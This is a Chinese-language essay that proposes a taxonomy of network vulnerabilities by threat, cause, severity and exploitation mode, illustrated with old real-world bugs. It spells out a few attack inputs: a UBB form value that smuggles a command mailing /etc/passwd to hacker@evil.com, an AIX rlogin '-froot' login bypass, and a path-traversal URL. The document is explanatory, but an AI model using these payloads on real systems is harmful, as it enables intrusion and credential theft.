寫本文的目地是為了總結一些東西,解決在試圖構造一個漏洞資料庫的過程中碰到的主要問題,也就是如何對電腦網路漏洞進行分類的問題。文中的一些想法並不成熟,有些甚至連自己也不滿意,權作拋磚引玉,以期與在這方面有深入研究的同仁交流,共同提高完善。
一個電腦網路安全性漏洞有它多方面的屬性,我認為主要可以用以下幾個方面來概括:漏洞可能造成的直接威脅,漏洞的成因,漏洞的嚴重性,漏洞被利用的方式。以下的討論將迴繞這幾個方面對漏洞細分其類。
A.按漏洞可能對系統造成的直接威脅
可以大致分成以下幾類,事實上一個系統漏洞對安全造成的威脅遠不限於它的直接可能性,如果攻擊者獲得了對系統的一般使用者存取權限,他就極有可能再通過利用本地漏洞把自己升級為管理員權限:
一.遠端管理員許可權
攻擊者無須一個帳號登入到本地直接獲得遠程系統的管理員權限,通常通過攻擊以root身份執行的有缺陷的系統守護進程來完成。漏洞的絕大部分來源於緩衝區溢位,少部分來自守護進程本身的邏輯缺陷。
典型漏洞:
IMAP4rev1 v10.190版的守護進程imapd的AUTHENTICATE命令存在讀入參數時未做長度檢查,構造一個精心設計的AUTH命令串,可以溢出imapd的緩衝區,執行指定的命令,由於imapd以root身份運行,從而直接獲得機器的root許可權。
WindowsNT IIS 4.0的ISAPI DLL對輸入的URL未做適當的邊界檢查,如果構造一個超長的URL,可以溢出IIS (inetinfo.exe)的緩衝區,執行我們指定的代碼。由於inetinfo.exe是以local system身份啟動,溢出後可以直接得到管理員權限。
早期AIX 3.2 rlogind代碼存在認證邏輯缺陷,用rlogin victim.com -l -froot,可以直接以root身份登入到系統而無須提供口令。
二.本地管理員權限
攻擊者在已有一個本地帳號能夠登入到系統的情況下,通過攻擊本地某些有缺陷的suid程式,競爭條件等手段,得到系統的管理員權限。
典型漏洞:
RedHat Linux的restore是個suid程式,它的執行依靠一個中RSH的環境變數,通過設定環境變數PATH,可以使RSH變數中的可執行程式以root身份運行,從而獲得系統的root許可權。
Solaris 7的Xsun程式有suid位,它對輸入參數未做有效邊界檢查,可以很容易地溢出它的緩衝區,以root身份運行我們指定的代碼,從而獲得管理員權限。
在windows2000下,攻擊者就有機會讓網路DDE(一種在不同的Windows機器上的應用程式之間動態共用資料的技術)代理在本地系統使用者的安全上下文中執行其指定的代碼,從而提升許可權並完全控制本地機器。
三.普通使用者存取權限
攻擊者利用伺服器的漏洞,取得系統的普通使用者存取許可權,對UNIX類系統通常是shell存取權限,對Windows系統通常是cmd.exe的存取權限,能夠以一般使用者的身份執行程式,存取檔案。攻擊者通常攻擊以非root身份啟動並執行守護進程,有缺陷的cgi程式等手段獲得這種存取權限。
典型漏洞:
UBB是個廣泛運行於各種UNIX和Windows系統的論壇程式,用PERL實現,它的5.19以下版本存在輸入驗證問題,通過提交精心構造的表單內容,可以使UBB去執行shell命令,因為一般的web伺服器以nobody身份運行,因此可以得到一個nobody shell。比如提交這樣的資料:topic='012345.ubb|mail hacker@evil.com </etc/passwd|',我們就可以得到系統的passwd檔案。
RedHat Linux 6.2帶的innd 2.2.2.3版新聞伺服器,存在緩衝區溢位漏洞,通過一個精心構造的新聞信件可以使innd伺服器以news身份運行我們指定的代碼,得到一個innd許可權的shell。
Windows IIS 4.0-5.0存在Unicode解碼漏洞,可以使攻擊者利用cmd.exe以guest組的許可權在系統上運行程式。相當於取得了普通使用者的許可權。
四.許可權提升
攻擊者在本地通過攻擊某些有缺陷的sgid程式,把自己的許可權提升到某個非root使用者的水平。獲得管理員權限可以看做是一種特殊的許可權提升,只是因為威脅的大小不同而把它獨立出來。
典型漏洞:
RedHat Linux 6.1帶的man程式為sgid man,它存在format bug,通過對它的溢出攻擊,可以使攻擊者得到man組的使用者權限。
Solaris 7的write程式為sgid tty,它存在緩衝區溢位問題,通過對它的攻擊可以攻擊者得到tty組的使用者權限。
WindowsNT系統中,攻擊者能夠使系統中其他使用者裝入一個”特洛化”的porfile,使其他使用者執行攻擊者的惡意代碼,有時甚至是管理員。
五.讀取受限檔案
攻擊者通過利用某些漏洞,讀取系統中他應該沒有許可權的檔案,這些檔案通常是安全相關的。這些漏洞的存在可能是檔案設定許可權不正確,或者是特權進程對檔案的不正確處理和意外dump core使受限檔案的一部份dump到了core檔案中。
典型漏洞:
SunOS 5.5的ftpd存在漏洞,一般使用者可以引起ftpd出錯而dump出一個全域可讀的core檔案,裡面有shadow檔案的片斷,從而使一般使用者能讀到shadow的部分內容。
SuSE 6.2的suid程式pg,對它的設定檔處理存在問題,當把pb.conf連結到特權檔案,可以用pb讀取那些檔案的內容。
Oracle 8.0.3 Enterprise Edition for NT 4.0的記錄檔全域可讀而且為明文,它記錄了串連的口令,很可能被攻擊者讀到。
六.遠程拒絕服務
攻擊者利用這類漏洞,無須登入即可對系統發起拒絕服務的攻擊,使系統或相關的應用程式崩潰或失去響應能力。這類漏洞通常是系統本身或其守護進程有缺陷或設定不正確造成的。
早期的Linux 和 BSD的tcp/ip堆棧的ip 片斷重組模組存在缺陷,攻擊通過向系統發出特殊的ip片斷包可以使機器崩潰。
Windows2000帶的Netmeeting 3.01存在缺陷,通過向它發送位元據流,可以使伺服器的CPU佔用達到100%。
通過發送一個帶有超長參數的USER命令給AnalogX Proxy Server 4.04的ftp連接埠,可以使這個應用程式崩潰。
七.本地拒絕服務
在攻擊者登入到系統後,利用這類漏洞,可以使系統本身或應用程式崩潰。這種漏洞主要因為是程式對意外情況的處理失誤,如寫臨時檔案之前不檢查檔案是否存在,盲目跟隨連結等。
BSDi 3.x存在漏洞可以使一個本機使用者用一些垃圾覆蓋系統上的任何,這樣會很容易地把系統搞成不可用。
RedHat 6.1的tmpwatch程式存在缺陷,可以使系統fork()出許多進程,從而使系統失去響應能力。
八.遠程非授權檔案存取
利用這類漏洞,攻擊可以不經授權地從遠程存取系統的某些檔案。這類漏洞主要是由一些有缺陷的cgi程式引起的,它們對使用者輸入沒有做適當的合法性檢查,使攻擊者通過構造特別的輸入獲得對檔案存取。
典型漏洞:
Poll_It_SSI_v2.0.cgi存在漏洞可以使攻擊者看到web目錄外的所有有許可權看的檔案,發送如下的請求給伺服器就能看到/etc/passwd檔案,http://www.targethost.com/pollit/Poll_It_v2.0.cgi?data_dir=\etc\passwd%00
Windows IIS 5.0存在一個漏洞,通過向它發送一個特殊的head標記,可以得到asp源碼,而不是經過解釋執行後asp頁面。
Windows IE存在諸多漏洞允許惡意的web頁面讀取瀏覽使用者的本地的檔案。
九.口令恢複
因為採用了很弱的口令加密方式,使攻擊者可以很容易的分析出口令的加密方法,從而使攻擊者通過某種方法得到密碼後還原出明文來。
典型漏洞:
Windows下的PassWD v1.2用來管理系統中的各種口令,並和URL一起儲存起來。但它加密儲存的口令加密方式非常脆弱,經過簡單的分析,就可以從加密後的口令還原出明文。
Pcanywhere 9.0採用非常脆弱的加密方法來加密傳輸中的口令,只要竅聽了傳輸中的資料很容易解碼出明文口令。
Browsegate是一個Windows下的代理防火牆,它的2.80.2版本,在設定檔中儲存了加密後的口令而且設定檔對所有使用者是可讀的,然而加密方式極其脆弱,可以很容易地解碼出明文。
十.欺騙
利用這類漏洞,攻擊者可以對目標系統實施某種形式的欺騙。這通常是由於系統的實現上存在某些缺陷。
典型漏洞
Windows IE曾經存在一個漏洞允許一個惡意網路在另一個風站的視窗插入入內容,從而欺騙使用者輸入敏感性資料。
Linux kernel 2.0.35以下的tcp/ip堆棧存在漏洞,可以使攻擊者進行ip地址欺騙非常容易實現。
十一.伺服器資訊泄露
利用這類漏洞,攻擊者可以收集到對於進一步攻擊系統有用的資訊。這類漏洞的產生主要是因為系統程式有缺陷,一般是對錯誤的不正確處理。
典型漏洞:
Windows IIS 3.0-5.0存在漏洞,當向系統請求不存在的.idq,.idq檔案時,機器可能會返回出錯資訊,裡面暴露了IIS的安裝目錄資訊,比如請求http://www.microsoft.com/anything.ida,伺服器會返回Response: The IDQ file d:\http\anything.ida could not be found。這些對攻擊者進行攻擊可能帶來方便,比如廣泛流行的msadc的攻擊,需要知道系統的安裝目錄。
Linux kernel 2.1.53以下的tcp/ip堆棧開放和關閉的連接埠對特定的資料包有特定的回應,攻擊者可以利用這個特性進行連接埠的秘密掃描。
某些cgi程式如DBMan (db.cgi)存在漏洞可以使攻擊者看到一些系統的環境變數,使攻擊者獲得關於系統一些有用的資訊。
十二.其它
雖然以上的幾種分類包括了絕大多數的漏洞情況,可還是有可能存在一些上面幾種類型無法描述的的漏洞,把它們歸到這裡。
B.按漏洞的成因
對其分類,是對漏洞進行分類最另人頭疼的一個方面,因為對漏洞研究的不同抽象層次,會對同一個漏洞做出不同的分類,對下面提到的ps競爭條件漏洞,從最低層次上來說是參數驗證錯誤,因為相繼的系統調用並沒有檢查他們所處理的是否為同一個對象,從高一些的層次看,這是一個同步或競爭條件錯誤,從更高的層次看,這則是一個邏輯錯誤,因為對象可能在使用過程中被刪除。至今也沒看到一個比較完美分類方案,包括securityfocus上的分類也不能讓人滿意,現大致分成以下幾類:
輸入驗證錯誤
大多數的緩衝區溢位漏洞和cgi類漏洞都是由於未對使用者提供的輸入資料的合法性作適當的檢查。
訪問驗證錯誤
漏洞的產生是由於程式的訪問驗證部分存在某些可利用的邏輯錯誤,使繞過這種存取控制成為可能。上面提到的那個早期AIX的rlogin漏洞就是這種典型。
競爭條件
漏洞的產生在於程式處理檔案等實體時在時序和同步方面存在問題,這處理的過程中可能存在一個機會視窗使攻擊者能夠施以外來的影響。早期的Solaris系統的ps命令存在這種類型的漏洞,ps在執行的時候會在/tmp產生一個基於它pid的臨時檔案,然後把它chown為root,改名為ps_data。如果在ps運行時能夠建立這個臨時檔案指向我們有興趣的檔案,這樣ps執行以後,我們就可以對這個root擁有檔案做任意的修改,這可以協助我們獲得root許可權。
意外情況處置錯誤
漏洞的產生在於程式在它的實現邏輯中沒有考慮到一些意外情況,而這些意外情況是應該被考慮到的。大多數的/tmp目錄中的盲目跟隨符號連結覆蓋檔案的漏洞屬於這種類型。例子:Sco UNIX openserver的/etc/sysadm.d/bin/userOsa存在盲目覆蓋調試記錄檔的問題,而檔案的名字是固定的,通過把檔案名稱指向某些特權檔案,可以完全破壞系統。
設計錯誤
這個類別是非常籠統的,嚴格來說,大多數的漏洞的存在都是設計錯誤,因此所有暫時無法放入到其他類別的漏洞,先放在這。
配置錯誤
漏洞的產生在於系統和應用的配置有誤,或是軟體安裝在錯誤的地方,或是錯誤的配置參數,或是錯誤的存取權限,策略錯誤。
環境錯誤
由一些環境變數的錯誤或惡意設定造成的漏洞。如攻擊者可能通過重設shell的內部分界符IFS,shell的逸出字元,或其它環境變數,導致有問題的特權程式去執行攻擊者指定的程式。上面提到的RedHat Linux的dump程式漏洞就是這種類型。
在漏洞的威脅類型和產生漏洞的錯誤類型之間存在一定的聯絡,有直接聯絡的威脅類型與錯誤類型用直線相連,可以看到如下的圖示:
遠端管理員許可權
輸入驗證錯誤
本地管理員權限
訪問驗證錯誤
普通使用者存取權限
競爭條件
許可權提升 意外情況處置錯誤
讀取受限檔案
遠程拒絕服務 設計錯誤
本地拒絕服務
遠程非授權檔案存取
配置錯誤
口令恢複
欺騙 環境錯誤
伺服器資訊泄露
可以看到輸入驗證錯誤幾乎與所有的漏洞威脅有關,設計錯誤與錯誤的配置也會導致很多威脅。
C.對漏洞嚴重性的分級
一般來說漏洞的威脅類型基本上決定了它的嚴重性,我們可以把嚴重性分成高,中,低三個層級。遠程和本地管理員權限大致對應為高,普通使用者權限,許可權提升,讀取受限檔案,遠程和本地拒絕服務大致對應中級,遠程非授權檔案存取,口令恢複,欺騙,伺服器資訊泄露大致對應低層級。但這隻是最一般的情況,很多時候需要具體情況具體分析,如一個涉及到針對流行系統本身的遠程拒絕服務漏洞,就應該是進階別。同樣一個被廣泛使用的軟體如果存在弱口令問題,有口令恢複漏洞,也應該歸為中進階別。
D.對漏洞被利用方式的分類
漏洞的存在是個客觀事實,但漏洞只能以一定的方式被利用,每個漏洞都要求攻擊處於網路空間一個特定的位置,可能的攻擊方式分為以下四類:
物理接觸
攻擊者需要能夠物理地接觸目標系統才能利用這類漏洞,對系統的安全構成威脅。圖示:
攻擊者 主機
主機模式
通常的漏洞利用方式。攻擊方為客戶機,被攻擊方為目標主機。比如攻擊者發現目標主機的某個守護進程存在一個遠程溢出漏洞,攻擊者可能因此取得主機的額外訪問權。
圖示:
攻擊 攻擊機器 主機
客戶機模式
當一個使用者訪問網路上的一個主機,他就可能遭到主機發送給自己惡意命令的襲擊。客戶機不應該過度信任主機。如web瀏覽器IE存在不少漏洞,可以使一些惡意的網站用html標記通過那些漏洞在瀏覽的客戶機中執行程式或讀寫檔案。
圖示:
攻擊
客戶機 主機
中間人方式
當攻擊者位於一個可以觀察或截獲兩個機器之間的通訊的位置時,就可以認為攻擊者處於中間人方式。因為很多時候主機之間以明文方式傳輸有價值的資訊,因此攻擊者可以很容易地攻入其他機器。對於某些公開金鑰加密的實現,攻擊者可以截獲並取代密鑰偽裝成網路上的兩個節點來繞過這種限制。
圖示:
通訊
主機 主機
竅聽或篡改
攻擊者
本文對網路安全性漏洞作了粗淺地分類,這遠不是一個完美的方案,有興趣的歡迎來信交流心得。
一些我讀過的參考資料: http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html http://www.securityfocus.com/external/http://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/index.html
http://www.securityfocus.com/data/library/compvuln_draft.pdf
當然還有:
http://www.xfocus.org/html/query_exploit.html
你能在那找到文中所舉的所有漏洞例子